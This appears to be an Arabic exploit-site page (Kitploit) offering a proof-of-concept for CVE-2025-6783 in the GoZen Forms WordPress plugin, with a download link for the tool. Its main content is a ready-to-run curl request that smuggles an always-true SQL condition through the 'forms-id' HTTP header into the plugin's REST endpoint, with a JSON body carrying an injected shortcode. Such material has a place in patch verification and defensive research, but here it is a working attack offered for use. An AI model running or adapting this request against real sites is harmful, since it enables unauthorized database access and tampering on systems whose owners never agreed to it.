CVE-2025-6783 — استغلال إثبات المفهوم لـ CVE-2025-6783 يوضح حقن SQL عبر رؤوس HTTP مصمَّعة وحمولة JSON ضد نقطة نهاية REST API لـ WordPress GoZen Forms. | Kitploit

احقن شرطًا صحيحًا دائمًا في جملة WHERE بحيث يتطابق كل صف:

curl -i -X POST \
  -H "Content-Type: application/json" \
  -H "forms-id: poc-001' OR '1'='1' -- " \
  -H "domain-id: example.com" \
  -d '{
        "emabed_type":"iframe",
        "shortcode_title":"INJECTED",
        "shortcode_tag":"[xss]",
        "active":0
      }' \
  "http://your-site.com/index.php?rest_route=/gozen-forms/v1/embedsc"

تنزيل الأداة

CVE-2025-6783

الأكثر شعبية